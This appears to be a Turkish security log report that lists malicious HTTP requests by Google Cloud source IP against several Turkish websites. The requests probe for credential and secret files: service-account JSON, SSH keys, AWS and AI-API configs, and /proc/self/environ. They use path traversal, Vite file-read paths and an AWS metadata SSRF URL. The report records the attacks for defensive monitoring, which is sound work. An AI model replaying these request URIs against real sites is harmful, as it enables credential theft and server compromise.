03/Sep/2026:08:05:09 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
03/Sep/2026:08:05:10 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
03/Sep/2026:08:05:11 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
03/Sep/2026:08:05:11 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
03/Sep/2026:08:05:12 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.47.223.25 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.47.128.0/17 · Region: asia-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:04:18:59 +0300parasalhaber.com.trGET404ENV_FILE/_environment
06/Sep/2026:04:19:00 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
06/Sep/2026:04:19:00 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
06/Sep/2026:04:19:00 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
06/Sep/2026:04:19:01 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
06/Sep/2026:04:19:01 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.35.75.239 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.35.0.0/16 · Region: africa-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:18:30:38 +0300parasalhaber.com.trGET404ENV_FILE/_environment
06/Sep/2026:18:30:38 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
06/Sep/2026:18:30:39 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
06/Sep/2026:18:30:39 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
06/Sep/2026:18:30:40 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
06/Sep/2026:18:30:40 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.234.144.3 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 35.234.128.0/19 · Region: europe-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:00:12:50 +0300parasalhaber.com.trGET404ENV_FILE/_environment
11/Sep/2026:00:12:50 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
11/Sep/2026:00:12:52 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
11/Sep/2026:00:12:52 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
11/Sep/2026:00:12:52 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
11/Sep/2026:00:12:52 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.40.124.52 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.40.0.0/17 · Region: europe-west3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:01:25:37 +0300parasalhaber.com.trGET404ENV_FILE/_environment
11/Sep/2026:01:25:37 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
11/Sep/2026:01:25:38 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
11/Sep/2026:01:25:39 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
11/Sep/2026:01:25:39 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
11/Sep/2026:01:25:39 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.39.170.123 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.39.128.0/17 · Region: southamerica-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:19:55:55 +0300parasalhaber.com.trGET404ENV_FILE/_environment
12/Sep/2026:19:55:55 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
12/Sep/2026:19:55:56 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
12/Sep/2026:19:55:56 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
12/Sep/2026:19:55:56 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
12/Sep/2026:19:55:57 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.236.138.177 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 35.236.128.0/18 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
30/Aug/2026:12:32:54 +0300parasalhaber.com.trGET404ENV_FILE/_environment
30/Aug/2026:12:32:54 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
30/Aug/2026:12:32:55 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
30/Aug/2026:12:32:56 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
30/Aug/2026:12:32:56 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
30/Aug/2026:12:32:57 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.228.30.22 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 35.228.0.0/16 · Region: europe-north1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
31/Aug/2026:17:45:39 +0300parasalhaber.com.trGET404ENV_FILE/_environment
31/Aug/2026:17:45:40 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
31/Aug/2026:17:45:42 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
31/Aug/2026:17:45:42 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
31/Aug/2026:17:45:42 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
31/Aug/2026:17:45:43 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.64.136.185 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.64.136.0/21 · Region: asia-northeast3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
29/Aug/2026:17:41:15 +0300parasalhaber.com.trGET404ENV_FILE/_environment
29/Aug/2026:17:41:15 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
29/Aug/2026:17:41:17 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
29/Aug/2026:17:41:17 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
29/Aug/2026:17:41:18 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/google-key.json
29/Aug/2026:17:41:18 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.26.190.201 — 6 saldırı imzalı istek / 17 toplam istek

Prefix: 34.26.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:16:15:32 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///proc/self/environ&environmentName=rsc
06/Sep/2026:16:15:33 +0300profesyonelweb.com.trGET200SSH_PRIVATE_KEY,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///root/.ssh/id_rsa&environmentName=rsc
06/Sep/2026:16:15:33 +0300profesyonelweb.com.trGET404PROC_ENVIRON/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ
06/Sep/2026:16:15:33 +0300profesyonelweb.com.trGET404PROC_ENVIRON/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ
06/Sep/2026:16:15:33 +0300profesyonelweb.com.trGET403PROC_ENVIRON/api/fs/read?path=/proc/self/environ&allowOutsideWorkspace=true
06/Sep/2026:16:15:33 +0300profesyonelweb.com.trGET404PROC_ENVIRON/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ
35.205.83.81 — 6 saldırı imzalı istek / 11 toplam istek

Prefix: 35.205.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
18/Aug/2026:21:26:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
18/Aug/2026:21:26:24 +0300ascento.trGET200PASSWD_FILE/?file=../../../../etc/passwd
18/Aug/2026:21:26:24 +0300ascento.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
18/Aug/2026:21:26:24 +0300ascento.trGET404PASSWD_FILE/media../etc/passwd
18/Aug/2026:21:26:24 +0300ascento.trGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
18/Aug/2026:21:26:24 +0300ascento.trGET404AWS_CREDENTIALS/.aws/credentials
35.254.175.11 — 5 saldırı imzalı istek / 263 toplam istek

Prefix: 35.254.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Aug/2026:23:15:10 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
06/Aug/2026:23:15:10 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
08/Aug/2026:15:06:27 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
08/Aug/2026:15:06:28 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
06/Aug/2026:22:35:15 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.156.154.64 — 5 saldırı imzalı istek / 79 toplam istek

Prefix: 34.156.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:22:08:54 +0300cms.profesyonelwebserver.net.trGET404OCI_SECRET/.oci/sessions/DEFAULT/token
06/Sep/2026:22:08:54 +0300cms.profesyonelwebserver.net.trGET404OCI_SECRET/.oci/sessions/DEFAULT/oci_api_key.pem
07/Sep/2026:00:57:14 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/fs/read?path=/proc/self/environ&allowOutsideWorkspace=true
07/Sep/2026:00:57:14 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ
07/Sep/2026:00:57:23 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ
34.125.209.116 — 5 saldırı imzalı istek / 78 toplam istek

Prefix: 34.125.0.0/16 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:18:38:46 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
12/Aug/2026:18:38:46 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Aug/2026:18:39:15 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
12/Aug/2026:18:39:16 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
12/Aug/2026:18:39:59 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
34.6.76.125 — 5 saldırı imzalı istek / 48 toplam istek

Prefix: 34.6.0.0/15 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:03:28:00 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/root/.openai/config.json?raw??
09/Aug/2026:03:28:00 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/root/.anthropic/config.json?raw??
09/Aug/2026:03:28:00 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/root/.config/openai/config.json?raw??
09/Aug/2026:03:28:06 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/aws-credentials
09/Aug/2026:03:28:16 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
35.199.35.186 — 5 saldırı imzalı istek / 44 toplam istek

Prefix: 35.199.0.0/18 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:22:09:46 +0300picassoshop.com.trGET200AWS_CREDENTIALS/root/.aws/credentials
11/Sep/2026:22:09:46 +0300picassoshop.com.trGET200AWS_CREDENTIALS/aws_credentials
35.234.56.107 — 5 saldırı imzalı istek / 43 toplam istek

Prefix: 35.234.0.0/18 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Sep/2026:04:44:39 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
02/Sep/2026:04:44:39 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
02/Sep/2026:04:44:40 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
02/Sep/2026:04:44:40 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
02/Sep/2026:04:44:41 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
34.47.75.158 — 5 saldırı imzalı istek / 28 toplam istek

Prefix: 34.47.64.0/18 · Region: asia-northeast3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:03:08:09 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
12/Sep/2026:03:08:09 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
12/Sep/2026:03:08:10 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
12/Sep/2026:03:08:10 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
12/Sep/2026:03:08:11 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
34.50.81.229 — 5 saldırı imzalı istek / 28 toplam istek

Prefix: 34.50.64.0/18 · Region: asia-southeast2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
05/Sep/2026:04:06:02 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
05/Sep/2026:04:06:03 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
05/Sep/2026:04:06:03 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
05/Sep/2026:04:06:04 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
05/Sep/2026:04:06:04 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
34.68.129.63 — 5 saldırı imzalı istek / 25 toplam istek

Prefix: 34.68.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
05/Aug/2026:09:59:36 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
05/Aug/2026:09:59:36 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
05/Aug/2026:09:59:36 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
05/Aug/2026:09:59:41 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
05/Aug/2026:09:59:52 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.81.169.242 — 5 saldırı imzalı istek / 24 toplam istek

Prefix: 34.80.0.0/15 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Aug/2026:18:45:47 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
04/Aug/2026:18:45:47 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
04/Aug/2026:18:45:47 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
04/Aug/2026:18:46:05 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
04/Aug/2026:18:46:36 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.235.107.82 — 5 saldırı imzalı istek / 23 toplam istek

Prefix: 35.235.64.0/18 · Region: us-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Sep/2026:00:37:01 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
13/Sep/2026:00:37:02 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
13/Sep/2026:00:37:03 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
13/Sep/2026:00:37:03 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
13/Sep/2026:00:37:04 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
34.47.128.103 — 5 saldırı imzalı istek / 23 toplam istek

Prefix: 34.47.128.0/17 · Region: asia-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:05:35:10 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
12/Sep/2026:05:35:11 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
12/Sep/2026:05:35:11 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
12/Sep/2026:05:35:11 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
12/Sep/2026:05:35:12 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
35.234.61.103 — 5 saldırı imzalı istek / 23 toplam istek

Prefix: 35.234.0.0/18 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:14:09:27 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
12/Sep/2026:14:09:30 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
12/Sep/2026:14:09:30 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
12/Sep/2026:14:09:31 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
12/Sep/2026:14:09:32 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
34.51.129.249 — 5 saldırı imzalı istek / 23 toplam istek

Prefix: 34.51.128.0/17 · Region: europe-north2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Sep/2026:04:53:25 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
02/Sep/2026:04:53:25 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
02/Sep/2026:04:53:25 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
02/Sep/2026:04:53:25 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
02/Sep/2026:04:53:26 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
34.51.130.147 — 5 saldırı imzalı istek / 23 toplam istek

Prefix: 34.51.128.0/17 · Region: europe-north2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Sep/2026:05:26:59 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
03/Sep/2026:05:27:01 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
03/Sep/2026:05:27:01 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
03/Sep/2026:05:27:01 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
03/Sep/2026:05:27:01 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
35.190.143.97 — 4 saldırı imzalı istek / 234 toplam istek

Prefix: 35.190.128.0/18 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:04:05:54 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
10/Aug/2026:04:05:54 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Aug/2026:13:28:36 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Aug/2026:13:28:37 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.169.205.61 — 4 saldırı imzalı istek / 234 toplam istek

Prefix: 34.168.0.0/15 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:12:44:25 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
11/Aug/2026:12:44:26 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
12/Aug/2026:23:08:32 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
12/Aug/2026:23:08:33 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
35.240.42.254 — 4 saldırı imzalı istek / 230 toplam istek

Prefix: 35.240.0.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:18:52:07 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Aug/2026:18:52:07 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
11/Aug/2026:06:20:37 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
11/Aug/2026:06:20:37 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.150.133.136 — 4 saldırı imzalı istek / 171 toplam istek

Prefix: 34.150.128.0/17 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:17:47:31 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Aug/2026:17:47:34 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
10/Aug/2026:15:40:30 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
10/Aug/2026:15:40:30 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
34.85.160.245 — 4 saldırı imzalı istek / 68 toplam istek

Prefix: 34.85.128.0/17 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
16/Aug/2026:01:07:07 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
16/Aug/2026:01:07:07 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
16/Aug/2026:01:07:30 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
16/Aug/2026:01:07:29 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
34.52.169.0 — 4 saldırı imzalı istek / 50 toplam istek

Prefix: 34.52.128.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:17:00:02 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Aug/2026:23:56:14 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
10/Aug/2026:23:56:14 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
10/Aug/2026:23:56:15 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.62.169.175 — 4 saldırı imzalı istek / 49 toplam istek

Prefix: 34.62.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:01:49:54 +0300parasalhaber.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
11/Aug/2026:01:50:09 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/app/.anthropic/config.json?raw??
11/Aug/2026:01:50:14 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/aws-credentials
11/Aug/2026:01:50:23 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
35.240.60.54 — 4 saldırı imzalı istek / 46 toplam istek

Prefix: 35.240.0.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
29/Aug/2026:03:07:59 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
29/Aug/2026:03:07:59 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
29/Aug/2026:03:08:12 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
29/Aug/2026:03:08:25 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.181.241.195 — 4 saldırı imzalı istek / 44 toplam istek

Prefix: 34.181.128.0/17 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Sep/2026:02:02:15 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
13/Sep/2026:02:02:19 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
13/Sep/2026:02:02:24 +0300denizciden.com.trGET404PROC_ENVIRON,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///proc/self/environ&environmentName=rsc
13/Sep/2026:02:02:25 +0300denizciden.com.trGET404PROC_ENVIRON/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ
34.86.235.238 — 4 saldırı imzalı istek / 44 toplam istek

Prefix: 34.86.0.0/16 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Aug/2026:20:21:40 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/.aws/credentials
01/Aug/2026:20:21:40 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php
01/Aug/2026:20:21:40 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.bak
01/Aug/2026:20:21:40 +0300rstbirlik.com.trGET404SERVICE_ACCOUNT/service-account.json
34.175.183.75 — 4 saldırı imzalı istek / 10 toplam istek

Prefix: 34.175.0.0/16 · Region: europe-southwest1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
05/Sep/2026:23:54:43 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php.swp
05/Sep/2026:23:54:43 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php~
05/Sep/2026:23:54:43 +0300ergarnakliyat.comGET403WP_CONFIG/wp-config.php.bak
34.121.138.119 — 4 saldırı imzalı istek / 9 toplam istek

Prefix: 34.121.0.0/16 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
23/Aug/2026:23:44:26 +0300deneme.parasalhaber.com.trGET404AWS_CREDENTIALS/.aws/credentials
23/Aug/2026:23:44:26 +0300deneme.parasalhaber.com.trGET404SERVICE_ACCOUNT/service-account.json
23/Aug/2026:23:44:27 +0300deneme.parasalhaber.com.trGET404SERVICE_ACCOUNT/serviceaccount.json
23/Aug/2026:23:44:27 +0300deneme.parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_rsa
34.23.127.191 — 3 saldırı imzalı istek / 126 toplam istek

Prefix: 34.23.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
16/Aug/2026:17:00:09 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
18/Aug/2026:22:29:03 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
34.23.175.79 — 3 saldırı imzalı istek / 125 toplam istek

Prefix: 34.23.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
19/Aug/2026:21:08:32 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.124.130.177 — 3 saldırı imzalı istek / 124 toplam istek

Prefix: 34.124.128.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
17/Aug/2026:02:37:03 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.139.36.64 — 3 saldırı imzalı istek / 124 toplam istek

Prefix: 34.138.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
22/Aug/2026:04:54:50 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.63.220.37 — 3 saldırı imzalı istek / 119 toplam istek

Prefix: 34.63.0.0/16 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:13:59:01 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.26.178.86 — 3 saldırı imzalı istek / 119 toplam istek

Prefix: 34.26.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
14/Aug/2026:05:08:56 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
35.184.171.243 — 3 saldırı imzalı istek / 119 toplam istek

Prefix: 35.184.0.0/16 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
14/Aug/2026:07:38:31 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.81.75.241 — 3 saldırı imzalı istek / 87 toplam istek

Prefix: 34.80.0.0/15 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Sep/2026:02:16:36 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
13/Sep/2026:02:16:36 +0300parasalhaber.com.trGET404PROC_ENVIRON/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ
13/Sep/2026:02:16:36 +0300parasalhaber.com.trGET404PROC_ENVIRON/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ
34.66.85.241 — 3 saldırı imzalı istek / 61 toplam istek

Prefix: 34.66.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:16:48:10 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
